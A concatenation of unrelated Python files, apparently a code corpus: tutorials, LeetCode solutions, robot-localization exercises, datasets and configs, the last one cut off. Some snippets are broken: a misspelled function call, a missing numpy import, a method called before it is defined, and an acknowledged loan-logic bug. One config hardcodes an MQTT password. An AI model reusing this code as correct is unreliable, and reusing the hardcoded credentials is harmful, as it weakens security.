# use @<variable>.deleter decorator
# name of the method is variable_name being deleted
# called by del <instance_name>.<variable_name>
@salary.deleter
def salary(self):
del self._salary
se = SoftwareEngineer("max", 25)
print(se.age, se.name)
print(se._salary)
# print(se.__salary)
for i in range(70):
se.code()
print(se.get_nums_bugs_solved())
se.set_salary(6000)
print(se.get_salary())
se.salary = 5000
print(se.salary)
del se.salary
print(se.salary)
'''
25 max
None
70
12000
10000
Traceback (most recent call last):
File "/home/vibha/visual_studio/oop4.py", line 106, in <module>
print(se.salary)
File "/home/vibha/visual_studio/oop4.py", line 63, in salary
return self._salary
AttributeError: 'SoftwareEngineer' object has no attribute '_salary'
'''
|
n, m = map(int, input().split())
student = [tuple(map(int, input().split())) for _ in range(n)]
check_points = [tuple(map(int, input().split())) for _ in range(m)]
for a, b in student:
dst_min = float('inf')
ans = float('inf')
for i, (c, d) in enumerate(check_points):
now = abs(a - c) + abs(b - d)
if now < dst_min:
dst_min = now
ans = i + 1
print(ans)
|
#
# Copyright Soramitsu Co., Ltd. All Rights Reserved.
# SPDX-License-Identifier: Apache-2.0
#
grantable = {
'can_add_my_signatory': 'kAddMySignatory',
'can_remove_my_signatory': 'kRemoveMySignatory',
'can_set_my_account_detail': 'kSetMyAccountDetail',
'can_set_my_quorum': 'kSetMyQuorum',
'can_transfer_my_assets': 'kTransferMyAssets'
}
role = {
'can_add_asset_qty': 'kAddAssetQty',
'can_add_domain_asset_qty': 'kAddDomainAssetQty',
'can_add_peer': 'kAddPeer',
'can_add_signatory': 'kAddSignatory',
'can_append_role': 'kAppendRole',
'can_create_account': 'kCreateAccount',
'can_create_asset': 'kCreateAsset',
'can_create_domain': 'kCreateDomain',
'can_create_role': 'kCreateRole',
'can_detach_role': 'kDetachRole',
'can_get_all_acc_ast': 'kGetAllAccAst',
'can_get_all_acc_ast_txs': 'kGetAllAccAstTxs',
'can_get_all_acc_detail': 'kGetAllAccDetail',
'can_get_all_acc_txs': 'kGetAllAccTxs',
'can_get_all_accounts': 'kGetAllAccounts',
'can_get_all_signatories': 'kGetAllSignatories',
'can_get_all_txs': 'kGetAllTxs',
'can_get_blocks': 'kGetBlocks',
'can_get_domain_acc_ast': 'kGetDomainAccAst',
'can_get_domain_acc_ast_txs': 'kGetDomainAccAstTxs',
'can_get_domain_acc_detail': 'kGetDomainAccDetail',
'can_get_domain_acc_txs': 'kGetDomainAccTxs',
'can_get_domain_accounts': 'kGetDomainAccounts',
'can_get_domain_signatories': 'kGetDomainSignatories',
'can_get_my_acc_ast': 'kGetMyAccAst',
'can_get_my_acc_ast_txs': 'kGetMyAccAstTxs',
'can_get_my_acc_detail': 'kGetMyAccDetail',
'can_get_my_acc_txs': 'kGetMyAccTxs',
'can_get_my_account': 'kGetMyAccount',
'can_get_my_signatories': 'kGetMySignatories',
'can_get_my_txs': 'kGetMyTxs',
'can_get_roles': 'kGetRoles',
'can_grant_can_add_my_signatory': 'kAddMySignatory',
'can_grant_can_remove_my_signatory': 'kRemoveMySignatory',
'can_grant_can_set_my_account_detail': 'kSetMyAccountDetail',
'can_grant_can_set_my_quorum': 'kSetMyQuorum',
'can_grant_can_transfer_my_assets': 'kTransferMyAssets',
'can_read_assets': 'kReadAssets',
'can_receive': 'kReceive',
'can_remove_signatory': 'kRemoveSignatory',
'can_set_detail': 'kSetDetail',
'can_set_quorum': 'kSetQuorum',
'can_subtract_asset_qty': 'kSubtractAssetQty',
'can_subtract_domain_asset_qty': 'kSubtractDomainAssetQty',
'can_transfer': 'kTransfer'
}
|
def printName():
print("I absolutely \nlove coding \nwith Python!".format())
if __name__ == '__main__':
printName()
|
#Solution
def two_out_of_three(nums1, nums2, nums3):
stored_master = {}
stored_1 = {}
stored_2 = {}
stored_3 = {}
for i in range(0, len(nums1)):
if nums1[i] not in stored_1:
stored_1[nums1[i]] = 1
stored_master[nums1[i]] = 1
else:
pass
for i in range(0, len(nums2)):
if nums2[i] not in stored_master:
stored_2[nums2[i]] = 1
stored_master[nums2[i]] = 1
else:
if nums2[i] not in stored_2:
stored_master[nums2[i]] = 2
for i in range(0, len(nums3)):
if nums3[i] not in stored_master:
stored_3[nums3[i]] = 1
stored_master[nums3[i]] = 1
else:
if nums3[i] not in stored_3:
stored_master[nums3[i]] = 2
final_list = { key: value for key, value in stored_master.items() if value>1 }
return list(final_list.keys())
#Tests
def two_out_of_three_test():
return ( two_out_of_three([1,1,3,2],[2,3], [3]) == [3,2],
two_out_of_three([3,1], [2,3], [1,2]) == [3,1, 2],
two_out_of_three([1,2,2], [4,3,3], [5]) == [],)
print(two_out_of_three_test())
#Leetcode
class Solution(object):
def twoOutOfThree(self, nums1, nums2, nums3):
"""
:type nums1: List[int]
:type nums2: List[int]
:type nums3: List[int]
:rtype: List[int]
"""
stored_master = {}
stored_1 = {}
stored_2 = {}
stored_3 = {}
for i in range(0, len(nums1)):
if nums1[i] not in stored_1:
stored_1[nums1[i]] = 1
stored_master[nums1[i]] = 1
else:
pass
for i in range(0, len(nums2)):
if nums2[i] not in stored_master:
stored_2[nums2[i]] = 1
stored_master[nums2[i]] = 1
else:
if nums2[i] not in stored_2:
stored_master[nums2[i]] = 2
for i in range(0, len(nums3)):
if nums3[i] not in stored_master:
stored_3[nums3[i]] = 1
stored_master[nums3[i]] = 1
else:
if nums3[i] not in stored_3:
stored_master[nums3[i]] = 2
final_list = { key: value for key, value in stored_master.items() if value>1 }
return list(final_list.keys())
|
# Time: O(n), n is the number of cells
# Space: O(n)
class Solution(object):
def cleanRoom(self, robot):
"""
:type robot: Robot
:rtype: None
"""
directions = [(0, 1), (1, 0), (0, -1), (-1, 0)]
def goBack(robot):
robot.turnLeft()
robot.turnLeft()
robot.move()
robot.turnRight()
robot.turnRight()
def dfs(pos, robot, d, lookup):
if pos in lookup:
return
lookup.add(pos)
robot.clean()
for _ in directions:
if robot.move():
dfs((pos[0]+directions[d][0],
pos[1]+directions[d][1]),
robot, d, lookup)
goBack(robot)
robot.turnRight()
d = (d+1) % len(directions)
dfs((0, 0), robot, 0, set())
|
#!/bin/python3
__author__ = "Adam Karl"
"""The Collatz sequence is defined by:
if n is even, divide it by 2
if n is odd, triple it and add 1
given N, which number less than or equal to N has the longest chain before hitting 1?"""
#first line t number of test cases, then t lines of values for N
#Constraints: 1 <= T <= 10**4; 1 <= N <= 5 * 10**6
#April 2018
MAXIMUM = 5000000 + 1 #actually 1 more than the maximum (5 million here)
steps = [None] * MAXIMUM
answers = [0] * MAXIMUM
def update(n):
"""Update the array so that now has at least an answer for key=n"""
"""likely will also fill in additional step lengths"""
if n == 1: #base case 1
return 0
s = 0
if n < MAXIMUM: #should have a n answer in this spot
if steps[n] != None: #already know answer for this spot
return steps[n]
if n % 2 == 0:
s = 1 + update(n>>1)
else:
s = 1 + update(3*n + 1)
steps[n] = s #fill in an answer
else: #calculate on the fly
if n % 2 == 0:
s = 1 + update(n>>1)
else:
s = 1 + update(3*n + 1)
return s
def populateCollatz():
"""populates collatz steps array up to n=5 000 000"""
steps[0] = 1
steps[1] = 0
for i in range(1,MAXIMUM):
if steps[i] == None:
update(i)
def populateAnswers():
"""Using the array of number of steps for N, produce an array of the value that produces
the maximum # of steps less than of equal to N (in case of a tie use the larger number).
Using this method we only have to check an array for the maximum 1 time rather than for every
test case N"""
max_steps = 0
max_index = 0
for i in range(MAXIMUM):
if max_steps <= steps[i]:
max_steps = steps[i]
max_index = i
answers[i] = max_index
def main():
populateCollatz()
populateAnswers()
a0 = int(input())
for i in range(a0):
n = int(input())
print(answers[n])
if __name__ == "__main__":
main()
|
#!/usr/bin/python
# -*- coding: UTF-8 -*-
valor_emprestado = float(input("Entre com o valor total da dívida: "))
juros = float(input("Entre com o juros mensal da dívida: "))
parcela = float(input("Entre com o valor da parcela: "))
acumulador = valor_emprestado
meses = 0
contador = True
while contador: # Há um erro na lógica, o acumulador não vai zerar!
acumulador += (valor_emprestado * (juros/100)) - parcela # É necessário corrigir isso!
meses += 1
if acumulador <= 0:
break
print("A dívida será paga em %d meses, o total pago será de R$ %5.2f e o total de juros pagos será de R$ %5.2f"
% (meses, (meses * parcela), ((meses * parcela) - valor_emprestado)))
|
"""
Defaults for deployment.
"""
# Default work path
default_work_path: str = ""
# Default config var names
config_const: str = "const"
config_options: str = "options"
config_arg: str = "arg"
config_var: str = "var"
config_alias: str = "alias"
config_stage: str = "stage" |
#6 uniform distribution
p=[0.2, 0.2, 0.2, 0.2, 0.2]
print(p)
#7 generalized uniform distribution
p=[]
n=5
for i in range(n):
p.append(1/n)
print(p)
#11 pHit and pMiss
# not elegent but does the job
pHit=0.6
pMiss=0.2
p[0]=p[0]*pMiss
p[1]=p[1]*pHit
p[2]=p[2]*pHit
p[3]=p[3]*pMiss
p[4]=p[4]*pMiss
print(p)
#12 print out sum of probabilities
print(sum(p))
#13 sense function
# sense function is the measurement update, which takes as input the initial
# distribution p, measurement z, and other global variables, and outputs a normalized
# distribution Q, which reflects the non-normalized product of imput probability
# i.e.0.2 and so on, and the corresponding pHit(0.6) and or pMiss(0.2) in accordance
# to whether these colours over here agree or disagree.
# The reason for the localizer is because later on as we build our localizer we will
# this to every single measurement over and over again.
p=[0.2, 0.2, 0.2, 0.2, 0.2]
world=['green', 'red', 'red', 'green', 'green']
Z = 'red' #or green
pHit = 0.6
pMiss = 0.2
def sense(p, Z):
q=[]
for i in range(len(p)):
hit = (Z == world[i])
q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
s = sum(q)
for i in range(len(p)):
q[i] = q[i]/s
return q
print(sense(p,Z))
#16 multiple measurements
# This is a way to test the code, we grab the kth measurement element and apply
# it into the current belief, then recursively update that belief into itself.
# we should get back the uniform distribution
# Modify the code so that it updates the probability twice
# and gives the posterior distribution after both
# measurements are incorporated. Make sure that your code
# allows for any sequence of measurement of any length.
p=[0.2, 0.2, 0.2, 0.2, 0.2]
world=['green', 'red', 'red', 'green', 'green']
measurements = ['red', 'green']
pHit = 0.6
pMiss = 0.2
def sense(p, Z):
q=[]
for i in range(len(p)):
hit = (Z == world[i])
q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
s = sum(q)
for i in range(len(q)):
q[i] = q[i] / s
return q
for k in range(len(measurements)):
p = sense(p, measurements[k])
print(p)
#19 move function
# shift data one cell to the right
# Program a function that returns a new distribution
# q, shifted to the right by U units. If U=0, q should
# be the same as p.
p=[0, 1, 0, 0, 0]
world=['green', 'red', 'red', 'green', 'green']
measurements = ['red', 'green']
pHit = 0.6
pMiss = 0.2
#match the measurement with the belief, measurement update function
def sense(p, Z):
q=[]
for i in range(len(p)):
hit = (Z == world[i])
q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
s = sum(q)
for i in range(len(q)):
q[i] = q[i] / s
return q
def move(p, U):
q = []
for i in range(len(p)):
q.append(p[(i-U)%len(p)]) #minus sign, 1 place to the left
return q
print(move(p, 1))
#23 inexact move function
# Modify the move function to accommodate the added
# probabilities of overshooting and undershooting
# the intended destination.
p=[0, 1, 0, 0, 0]
world=['green', 'red', 'red', 'green', 'green'] #specifies colour of cell
measurements = ['red', 'green']
pHit = 0.6 #probability of hitting the correct colour
pMiss = 0.2 #probability of missing the correct colour
pExact = 0.8
pOvershoot = 0.1
pUndershoot = 0.1
def sense(p, Z):
q=[]
for i in range(len(p)):
hit = (Z == world[i])
q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
s = sum(q)
for i in range(len(q)):
q[i] = q[i] / s
return q
#circle shift
def move(p, U): #grid cells the robot is moving to the right
q = []
for i in range(len(p)):
#auxillary variable
s = pExact * p[(i-U) % len(p)]
s = s + pOvershoot * p[(i-U-1) % len(p)] #one step further
s = s + pUndershoot * p[(i-U+1) % len(p)] #one step behind
q.append(s)
return q
print(move(p,1))
#24 limit distribution
# [1 0 0 0 0] spreads out to [0.2 0.2 0.2 0.2 0.2] after some time
# everytime you move you lose information
# without update, no information
# moving many times without update
# p(x4) = 0.8*x2 + 0.1*x1 + 0.1*x3 balanc equation in the limit
#25 move twice quiz
# Write code that makes the robot move twice and then prints
# out the resulting distribution, starting with the initial
# distribution p = [0, 1, 0, 0, 0]
p=[0, 1, 0, 0, 0]
world=['green', 'red', 'red', 'green', 'green']
measurements = ['red', 'green']
pHit = 0.6
pMiss = 0.2
pExact = 0.8
pOvershoot = 0.1
pUndershoot = 0.1
def sense(p, Z):
q=[]
for i in range(len(p)):
hit = (Z == world[i])
q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
s = sum(q)
for i in range(len(q)):
q[i] = q[i] / s
return q
def move(p, U):
q = []
for i in range(len(p)):
s = pExact * p[(i-U) % len(p)]
s = s + pOvershoot * p[(i-U-1) % len(p)]
s = s + pUndershoot * p[(i-U+1) % len(p)]
q.append(s)
return q
for i in range(1000):
p=move(p,1)
print(p)
#notes:
# localization is sense/move conbination
# everytime it moves robot loses information
# everytime it moves robot regains information
# entropy
#27 sense and move
# Given the list motions=[1,1] which means the robot
# moves right and then right again, compute the posterior
# distribution if the robot first senses red, then moves
# right one, then senses green, then moves right again,
# starting with a uniform prior distribution.
p=[0.2, 0.2, 0.2, 0.2, 0.2]
world=['green', 'red', 'red', 'green', 'green']
measurements = ['red', 'green']
motions = [1,1]
pHit = 0.6
pMiss = 0.2
pExact = 0.8
pOvershoot = 0.1
pUndershoot = 0.1
def sense(p, Z):
q=[]
for i in range(len(p)):
hit = (Z == world[i])
q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
s = sum(q)
for i in range(len(q)):
q[i] = q[i] / s
return q
def move(p, U):
q = []
for i in range(len(p)):
s = pExact * p[(i-U) % len(p)]
s = s + pOvershoot * p[(i-U-1) % len(p)]
s = s + pUndershoot * p[(i-U+1) % len(p)]
q.append(s)
return q
for k in range(len(measurements)):
p = sense(p,measurements[k])
p = move(p,motions[k])
print(p) #results show that robot most likely ended up in the 5th cell
#28 move twice
# Modify the previous code so that the robot senses red twice.
p=[0.2, 0.2, 0.2, 0.2, 0.2]
world=['green', 'red', 'red', 'green', 'green']
measurements = ['red', 'red']
motions = [1,1]
pHit = 0.6
pMiss = 0.2
pExact = 0.8
pOvershoot = 0.1
pUndershoot = 0.1
def sense(p, Z):
q=[]
for i in range(len(p)):
hit = (Z == world[i])
q.append(p[i] * (hit * pHit + (1-hit) * pMiss))
s = sum(q)
for i in range(len(q)):
q[i] = q[i] / s
return q
def move(p, U):
q = []
for i in range(len(p)):
s = pExact * p[(i-U) % len(p)]
s = s + pOvershoot * p[(i-U-1) % len(p)]
s = s + pUndershoot * p[(i-U+1) % len(p)]
q.append(s)
return q
for k in range(len(measurements)):
p = sense(p, measurements[k])
p = move(p, motions[k])
print(p)
# most likely in 4th cell, it's the cell after the last observation
# this is the essense of google's self driving car code
# It is crucial that the car knows where it is.
# While the road is not painted red and green, the road has lane markers.
# instead of read and green cells over here, we plug in the colour of the pavement
# versus the colour of the lane markers, it isn't just one observation per time
# step, it is an entire field of observations. an entire camara image.
# As long as you can correspond a car image in your model, with a camera image in
# your model, then the piece of code is not much more difficult than what I have here. |
BASE_DEPS = [
"//jflex",
"//jflex:testing",
"//java/jflex/testing/testsuite",
"//third_party/com/google/truth",
]
def jflex_testsuite(**kwargs):
args = update_args(kwargs)
native.java_test(**args)
def update_args(kwargs):
if ("deps" in kwargs):
kwargs["deps"] = kwargs["deps"] + BASE_DEPS
else:
kwargs["deps"] = BASE_DEPS
return kwargs
|
# Time: O(m * n)
# Space: O(1)
class Solution(object):
def isToeplitzMatrix(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: bool
"""
return all(i == 0 or j == 0 or matrix[i-1][j-1] == val
for i, row in enumerate(matrix)
for j, val in enumerate(row))
class Solution2(object):
def isToeplitzMatrix(self, matrix):
"""
:type matrix: List[List[int]]
:rtype: bool
"""
for row_index, row in enumerate(matrix):
for digit_index, digit in enumerate(row):
if not row_index or not digit_index:
continue
if matrix[row_index - 1][digit_index - 1] != digit:
return False
return True
|
ISCSI_CONNECTIVITY_TYPE = "iscsi"
FC_CONNECTIVITY_TYPE = "fc"
SPACE_EFFICIENCY_THIN = 'thin'
SPACE_EFFICIENCY_COMPRESSED = 'compressed'
SPACE_EFFICIENCY_DEDUPLICATED = 'deduplicated'
SPACE_EFFICIENCY_THICK = 'thick'
SPACE_EFFICIENCY_NONE = 'none'
# volume context
CONTEXT_POOL = "pool"
|
bch_code_parameters = {
3:{
1:4
},
4:{
1:11,
2:7,
3:5
},
5:{
1:26,
2:21,
3:16,
5:11,
7:6
},
6:{
1:57,
2:51,
3:45,
4:39,
5:36,
6:30,
7:24,
10:18,
11:16,
13:10,
15:7
},
7:{
1:120,
2:113,
3:106,
4:99,
5:92,
6:85,
7:78,
9:71,
10:64,
11:57,
13:50,
14:43,
15:36,
21:29,
23:22,
27:15,
31:8
},
8:{
1:247,
2:239,
3:231,
4:223,
5:215,
6:207,
7:199,
8:191,
9:187,
10:179,
11:171,
12:163,
13:155,
14:147,
15:139,
18:131,
19:123,
21:115,
22:107,
23:99,
25:91,
26:87,
27:79,
29:71,
30:63,
31:55,
42:47,
43:45,
45:37,
47:29,
55:21,
59:13,
63:9
}
}
|
stop = ''
soma = c = maior = menor = 0
while stop != 'N':
n = int(input('Digite outro numero inteiro: '))
stop = str(input('Quer outro numero [S/N]? ')).strip().upper()[0]
if stop != 'S' and stop != 'N':
print('\033[31mOpção inválida! Numero anterior desconsiderado.\033[m')
else:
soma += n
c += 1
media = soma / c
if maior == 0:
maior = n
menor = n
else:
if n > maior:
maior = n
if n < menor:
menor = n
print('A média de todos os valores lidos é de {:.2f}'.format(media))
print('O maior numero foi {} e o menor foi {}.'.format(maior, menor))
|
XXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXX
|
"""
A collection of update operations for TinyDB.
They are used for updates like this:
>>> db.update(delete('foo'), where('foo') == 2)
This would delete the ``foo`` field from all documents where ``foo`` equals 2.
"""
def delete(field):
"""
Delete a given field from the document.
"""
def transform(doc):
del doc[field]
return transform
def add(field, n):
"""
Add ``n`` to a given field in the document.
"""
def transform(doc):
doc[field] += n
return transform
def subtract(field, n):
"""
Substract ``n`` to a given field in the document.
"""
def transform(doc):
doc[field] -= n
return transform
def set(field, val):
"""
Set a given field to ``val``.
"""
def transform(doc):
doc[field] = val
return transform
def increment(field):
"""
Increment a given field in the document by 1.
"""
def transform(doc):
doc[field] += 1
return transform
def decrement(field):
"""
Decrement a given field in the document by 1.
"""
def transform(doc):
doc[field] -= 1
return transform
|
CONFIGS = {
"session": "1",
"store_location": ".",
"folder": "Estudiante_1",
"video": True,
"audio": False,
"mqtt_hostname": "10.42.0.1",
"mqtt_username" : "james",
"mqtt_password" : "james",
"mqtt_port" : 1883,
"dev_id": "1",
"rap_server": "10.42.0.1"
}
CAMERA = {
"brightness": 60,
"saturation": -60,
"contrast" : 0,
# "resolution": (1280,720),
# "resolution": (1296,972),
"resolution": (640, 480),
"framerate": 5
}
#SERVER_URL = '200.10.150.237:50052' # Servidor bio
SERVER_URL = '200.126.23.95:50052' # Servidor sala RAP
|
"""
# Sample code to perform I/O:
name = input() # Reading input from STDIN
print('Hi, %s.' % name) # Writing output to STDOUT
# Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail
"""
# Write your code here
n = int(input())
directions = list(map(int, input().strip().split()))
to_right_forward = [0] * n
to_right_opposite = [0] * n
to_left_forward = [0] * n
to_left_opposite = [0] * n
for i in range(n - 1):
if not directions[i]:
to_right_opposite[i + 1] = to_right_opposite[i] + 1
else:
to_right_forward[i + 1] = to_right_forward[i] + 1
if not directions[n - 2 - i]:
to_left_forward[n - 2 - i] = to_left_forward[n - 1 - i] + 1
else:
to_left_opposite[n - 2 - i] = to_left_opposite[n - 1 - i] + 1
for i in range(n):
to_right_forward[i] += to_left_forward[i] + 1
to_right_opposite[i] += to_left_opposite[i] + 1
val = 0
q = int(input())
for _ in range(q):
q_line = input().strip().split()
if q_line[0] == 'U':
val = 1 - val
else:
if val % 2:
print(to_right_forward[int(q_line[-1]) - 1])
else:
print(to_right_opposite[int(q_line[-1]) - 1])
|
def solution(A):
exchange_0 = exchange_1 = pos = -1
idx = 1
while idx < len(A):
if A[idx] < A[idx - 1]:
if exchange_0 == -1:
exchange_0 = A[idx - 1]
exchange_1 = A[idx]
else:
return False
if exchange_0 > 0:
if A[idx] > exchange_0:
if A[idx - 1] > exchange_1:
return False
else:
pos = idx - 1
idx += 1
if exchange_0 == exchange_1 == pos == -1:
return True
else:
return True if pos != -1 else False
|
NUMBER_COUNT = 10
class Data:
def __init__(self, inputs, result=None):
self.inputs = inputs
self.results = [-1] * NUMBER_COUNT
if result is not None:
self.results[result] = 1
# датасет имеет вид типа:
# 111
# 001
# 001
# 001
# 001
# цифра 7 изображена как буква перевернутая "г"
values = {
'111001001001001': 7,
'111101111101111': 8,
'001001001001001': 1,
'111101101101111': 0,
'111001111100111': 2,
'101101111001001': 4,
'111100111001111': 5,
'111001011001111': 3,
'111100111101111': 6,
'111101111001111': 9
}
dataset = [
Data([int(ch) for ch in string], result)
for string, result in values.items()
]
test_values = {
'111111101101111': 0,
'011001001001001': 1,
'011001111100111': 2,
'111001111000111': 2,
'101101111001001': 4,
'100101111001001': 4,
'011100101001011': 5,
'001001111100111': 2,
'001001111000111': 2,
'111001111001111': 3,
'111001011001111': 3,
'011101111001001': 4,
'111100111001111': 5,
'001001001001001': 1,
'111001001001001': 1,
'010100111001111': 5,
'110100111001111': 5,
'111001011001001': 7,
'111001111001001': 7,
'111001111010100': 7,
'011001111010100': 7,
'101010101010100': None,
'010101010101001': None,
'100100111101101': None,
'010010010010010': None,
'110100111101111': 6,
'111100111101111': 6,
'111111011101111': 8,
'111101111101111': 8,
'011111111001111': 9,
'110101111001111': 9,
'111101001001111': 9,
'111101001001011': 9,
'011101001001011': 9,
'011101001001111': 9,
'000000000000000': None,
'101000011101111': None,
'011111101110000': None,
'010010011101001': None,
'111101101111111': 0,
'101101101101101': 0,
'111111111111101': None,
'011110111110111': None,
'111111111111111': None,
'111111111000000': None,
'000000011111111': None,
'010101010101010': None,
'101010101010101': None
}
test_dataset = [
Data([int(ch) for ch in string], result)
for string, result in test_values.items()
] |
### WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING
###
### This file MUST be edited properly and copied to settings.py in order for
### SMS functionality to work. Get set up on Twilio.com for the required API
### keys and phone number settings.
###
### WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING
# These are Twilio API settings. Sign up at Twilio to get them.
account_sid = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
auth_token = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
# The number the SMS is from. Must be valid on your Twilio account.
phone_from="+1213XXXYYYY"
# The number to send the SMS to (your cell phone number)
phone_to="+1808XXXYYYY"
|
# attributes are characteristics of an object defined in a "magic method" called __init__, which method is called when a new object is instantiated
class User: # declare a class and give it name User
def __init__(self):
self.name = "Steven"
self.email = "swm9220@gmail.com"
self.account_balance = 0
# instantiate a couple of new Users
guido = User()
monty = User()
# access instance's attributes
print(guido.name) # output: Michael
print(monty.name) # output: Michael
# set the values of User object instance's
guido.name = "Guido"
monty.name = "Monty"
class User:
def __init__(self, username, email_address): # now our method has 2 parameters!
self.name = username # and we use the values passed in to set the name attribute
self.email = email_address # and the email attribute
self.account_balance = 0 # the account balance is set to $0, so no need for a third parameter
guido = User("Guido van Rossum", "guido@python.com")
monty = User("Monty Python", "monty@python.com")
print(guido.name) # output: Guido van Rossum
print(monty.name) # output: Monty Python
guido.make_deposit(100)
class User: # here's what we have so far
def __init__(self, name, email):
self.name = name
self.email = email
self.account_balance = 0
# adding the deposit method
def make_deposit(self, amount): # takes an argument that is the amount of the deposit
self.account_balance += amount # the specific user's account increases by the amount of the value received
guido.make_deposit(100)
guido.make_deposit(200)
monty.make_deposit(50)
print(guido.account_balance) # output: 300
print(monty.account_balance) # output: 50
|
# Algorithmic question
## Longest Palindromic Subsequence
# Given a string S, a subsequence s is obtained by combining characters in their order of appearance in S, whatever their position. The longest palindromic subsequence could be found checking all subsequences of a string, but that would take a running time of O(2^n). Here's an implementation of this highly time-consuming recursive algorithm.
# In[862]:
def toolongpalindromic(S):
maxlen = 0
if len(S) <= 1:
return(len(S))
if S[0]==S[-1]:
maxlen += 2 + toolongpalindromic(S[1:-1])
else:
maxlen += max(toolongpalindromic(S[:-1]), toolongpalindromic(S[1:]))
return(maxlen)
# toolongpalindromic('dataminingsapienza')
# import time
# st = time.time()
# toolongpalindromic('dataminingsapienza')
# time.time()-st
# To solve this problem in a polynomial time we can use dynamic programming, with which we check only the extreme characters of each substring, and if they are identical we add 2 to the length of the longest palindromic subsequence found between the extremes of the current substring, otherwise it keeps the greatest of the palindromic subsequences found in substrings of the current subsequence.
# In order to do this, we store the length of all palindromic subsequences and their position in a square array A of size n (the length of S), in which rows and columns are respectively the starting and ending positions of substrings built with consecutive characters of S, where A_{i, i+j}, 0<i< n,0<j<n-i is the length of the longest palindromic subsequence in the substring S[i,i+j]. Starting on the main diagonal, we store lengths of subsequences of 1 charachter, which are palindromic since they "start and end" with the same character. Initializing the array with an identity matrix, we can then proceed for substrings of length >1, checking if the extremes are identical. If that's the case, we add 2 to the element one position down and one left of the current position, which means that we are adding the 2 extremes to the letter count of the longest palindromic sequence found between the extremes (for subsequences of length 2, the 0's below the main diagonal of the identity matrix will be the starting values, since for those subsequences there's 0 elements between the extremes). If the extremes are different, we take the highest value between the element 1 position down and the one that's 1 position left the current one, which means that the current substring of lengthj inherits the longest palindromic subsequence count from the two overlapping substrings of length j-1 that built it, the first starting from the leftmost and the second ending at the rightmost character of the current substring.
# With dynamic programming, the algorithm keeps memory of the longest palindromic subsequences for substrings of growing length, until the full length of S is reached, for which the same procedure is applied. The final result, i.e. the length of the longest palindromic subsequence in the substring of length n (S itself), is obtained in the upper-right position of A, A_{0,n}.
### The solution obtained through dynamic programming has a running time of the order of O(n)^2.
# Defining a function to get substring of length l from the string S
def substrings(S, l):
L = []
for i in range(len(S)-l+1):
L.append(S[i:i+l])
return(L)
def longestpalindromic(S):
arr = np.identity(len(S), dtype='int')
for j in range(1,len(S)):
strings = subsstrings(S, j+1)
for i in range(len(S)-j):
s = strings[i]
if s[0] == s[-1]:
arr[i][i+j] = arr[i+1][i+j-1]+2
else:
arr[i][i+j] = max(arr[i+1][i+j],arr[i][i+j-1])
return arr[0][-1]
# longestpalindromic('dataminingsapienza')
# st = time.time()
# longestpalindromic('dataminingsapienza')
# time.time()-st
|
# import numpy as np
# import matplotlib.pyplot as plt
class TimeBlock:
def __init__(self,name,level,time,percentage):
self.name = name
self.level = int(level)
self.percentage = float(percentage)
self.time = float(time)
self.children = []
self.parent = []
def AddChild(self,block):
self.children.append(block)
def AddParent(self,block):
self.parent = block
def ToMiliSecond(self):
return int(self.time*1000)
def ReadProfiler(folder,profName):
# opent the profiler data
filename = folder +"/"+ profName + "_time.csv"
#initialize the list of first level blocks
profile = []
current = None # = TimeBlock("root",0,0.0,0.0)
# Open and read the profiler file
with open(filename,"r") as file:
filecont = file.read()
data = filecont.split("\n")
# read every line -> this is a profiler entry
for s in data:
entry = s.split(";",100)
# if the entry has some interesting numbers
if(len(entry) > 1):
level = int(entry[1])
# create a new block
# name,level, max_time, glob_percent, mean_time_per_count, max_count
block = TimeBlock(entry[0],entry[1],entry[2],entry[3])
if(level == 1):
# if the block is level 1, simply create a new
profile.append(block)
else:
# go back in time
for i in range(level,current.level+1):
current = current.parent
# add the child - parent link
current.AddChild(block)
block.AddParent(current)
# in any case, the current block is the new boss
current = block
# close the file
file.close()
return profile
|
_base_ = [
'../../_base_/models/swin/swin_small.py', '../../_base_/default_runtime.py'
]
pretrained_path='pretrained/swin_small_patch244_window877_kinetics400_1k.pth'
model=dict(backbone=dict(patch_size=(2,4,4), drop_path_rate=0.1, pretrained2d=False, pretrained=pretrained_path),cls_head=dict(num_classes=2),test_cfg=dict(max_testing_views=4))
# dataset settings
dataset_type = 'FatigueCleanDataset'
data_root = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_clips'
data_root_val = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_clips'
facerect_data_prefix = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_info_from_yolov5'
ann_file_train = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
ann_file_val = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
ann_file_test = '/zhourui/workspace/pro/source/mmaction2/data/fatigue/clean/fatigue_anns/20210824_fatigue_pl_less_than_50_fatigue_full_info_all_path.json'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_bgr=False)
clip_len = 48
train_pipeline = [
dict(type='SampleFrames', clip_len=clip_len, frame_interval=1, num_clips=1, out_of_bound_opt='repeat_last'),
dict(type='FatigueRawFrameDecode'),
dict(type='Resize', scale=(-1, 256)),
dict(type='RandomResizedCrop'),
dict(type='Resize', scale=(224, 224), keep_ratio=False),
dict(type='Flip', flip_ratio=0.5),
dict(type='Normalize', **img_norm_cfg),
dict(type='FormatShape', input_format='NCTHW'),
